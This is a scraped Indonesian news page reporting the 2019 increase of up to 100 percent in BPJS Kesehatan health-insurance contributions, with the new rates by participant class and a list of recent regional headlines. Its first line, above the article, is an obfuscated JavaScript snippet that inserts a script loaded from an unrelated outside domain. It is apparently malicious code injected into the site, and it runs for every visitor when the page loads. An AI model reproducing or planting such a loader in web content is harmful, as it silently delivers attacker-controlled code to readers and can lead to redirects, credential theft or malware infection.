(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Pemerintahan

Per 1 September, Iuran BPJS Kesehatan Naik 100 Persen


Menteri Koordinator Bidang Pembangunan Manusia dan Kebudayaan, Puan Maharani menyatakan kenaikan iuran Badan Penyelenggara Jaminan Sosial (BPJS) Kesehatan berlaku efektif pada 1 September 2019.

Kenaikan iuran BPJS hingga 100 persen ini disebabkan defisit anggaran yang terus membengkak selama lima tahun terakhir,

Usulan kenaikan itu sendiri disampaikan Menteri Keuangan Sri Mulyani saat rapat dengan Komisi IX dan Komisi XI di DPR, Jakarta pada Selasa, 27 Agustus 2019. Dalam rapat dengan anggota parlemen Sri Mulyani menyebutkan iuran BPJS Kesehatan naik untuk semua kelas.

Puan pun memastikan, besaran kenaikan iuran tersebut bakal disetujui oleh Presiden Joko Widodo.

“Iya (akan disetujui presiden). Sudah, sudah bisa berlaku (September 2019),” kata dia di Gedung Parlemen, Jakarta, Kamis, (29/8) seperti diwartakan viva.co.id.

Adapun kenaikan iuran itu nantinya akan dikukuhkan dalam bentuk Peraturan Presiden. Namun, peraturan itu, lanjut Puan, saat ini belum di tanda tangani oleh Presiden Jokowi karena draftnya sendiri belum masuk.

“Segera, begitu ada di meja saja segera ditandatangani,” tuturnya.

Menurut rencana besarnya kenaikan iuran BPJS akan menggunakan usulan Menteri Keuangan, Sri Mulyani Indrawati dengan rincian sebagai berikut:

Iuran Penerima Bantuan Iuran (PBI) sebesar Rp42.000 dari sebelumnya Rp23.000.

Iuran Peserta Penerima Upah (PPU) badan usaha sebesar lima persen dengan batas atas upah sebesar Rp12 juta atau naik dari yang sebelumnya Rp8 juta.

Sedangkan PPU pemerintah sebesar lima persen dari take home pay (TKP) dari yang sebelumnya lima persen dari gaji pokok ditambah tunjangan keluarga.

Iuran Peserta Bukan Penerima Upah (PBPU):

-Kelas 1 naik menjadi Rp160 ribu dari sebelumnya Rp80 ribu

-Kelas 2 naik menjadi Rp110 ribu dari sebelumnya Rp51 ribu

-Kelas 3 naik menjadi Rp42 ribu dari sebelumnya Rp25 ribu. (vvn)

 

Reporter : vvn
Editor : kk

Desy Arfianty

Recent Posts

Nobar Timnas di Balai Kota Banjarbaru Berizin Resmi Pemegang Hak Siar

KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More

4 menit ago

Dekranasda HSU Tawarkan Produk Kerajinan UMKM di Bazar MTQ

KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More

33 menit ago

Tekan Angka Pernikahan Dini, Pemkab Banjar Sosialisasi ke Sejumlah Sekolah

KANALKALIMANTAN.COM, MARTAPURA -  Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More

54 menit ago

Nyemplung di Sungai Martapura Hendak Ambil Kacamata Berakhir Tak Bernyawa

KANALKALIMANTAN.COM, BANJARMASIN - Seorang lelaki dalam kondisi tidak bernyawa ditemukan tenggelam di Sungai Martapura kawasan… Read More

1 jam ago

PAM Bandarmasih Ganti Pipa Kropos, Tiga Kecamatan Terdampak Seret Air

KANALKALIMANTAN.COM, BANJARMASIN - Perusahaan Air Minum (PAM) Bandarmasih mengumumkan melakukan penurunkan tekanan distribusi air bersih… Read More

2 jam ago

“Embroidery Mini Class” Perayaan Hari Kartini di Lingkungan PLN UIP3B Kalimantan

KANALKALIMANTAN.COM, BANJARBARU - Memperingati Hari Kartini 2024 PT PLN (Persero) Unit Induk Penyaluran dan Pusat… Read More

17 jam ago

This website uses cookies.